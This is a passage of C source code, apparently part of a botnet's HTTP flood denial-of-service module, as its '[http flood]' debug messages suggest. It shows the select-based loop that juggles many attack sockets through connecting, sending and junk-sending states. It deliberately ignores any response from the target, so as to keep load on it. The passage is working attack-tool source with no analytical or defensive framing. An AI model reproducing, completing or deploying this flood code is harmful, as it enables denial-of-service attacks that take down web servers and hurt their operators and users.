(conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_SNDBUF_WAIT) { FD_SET(conn->fd, &fdset_wr); if (conn->fd > mfd) mfd = conn->fd + 1; } else { // NEW STATE WHO DIS conn->state = HTTP_CONN_INIT; close(conn->fd); conn->fd = -1; } } if (mfd == 0) continue; tim.tv_usec = 0; tim.tv_sec = 1; nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim); fake_time = time(NULL); if (nfds < 1) continue; for (i = 0; i < sockets; i++) { conn = &(http_table[i]); if (conn->fd == -1) continue; if (FD_ISSET(conn->fd, &fdset_wr)) { if (conn->state == HTTP_CONN_CONNECTING) { int err = 0; socklen_t err_len = sizeof (err); ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); if (err == 0 && ret == 0) { #ifdef DEBUG printf("[http flood] FD%d connected.\n", conn->fd); #endif conn->state = HTTP_CONN_SEND; } else { #ifdef DEBUG printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err); #endif close(conn->fd); conn->fd = -1; conn->state = HTTP_CONN_INIT; continue; } } else if (conn->state == HTTP_CONN_SNDBUF_WAIT) { conn->state = HTTP_CONN_SEND_JUNK; } } if (FD_ISSET(conn->fd, &fdset_rd)) { // if we get any sort of headers or error code then punt it. // we really dont care about any content we get conn->state = HTTP_CONN_RESTART; } } // handle any sockets that didnt return from select here // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen) #ifdef DEBUG if (sockets == 1) { printf("debug mode sleep\n"); sleep(1); } #endif } }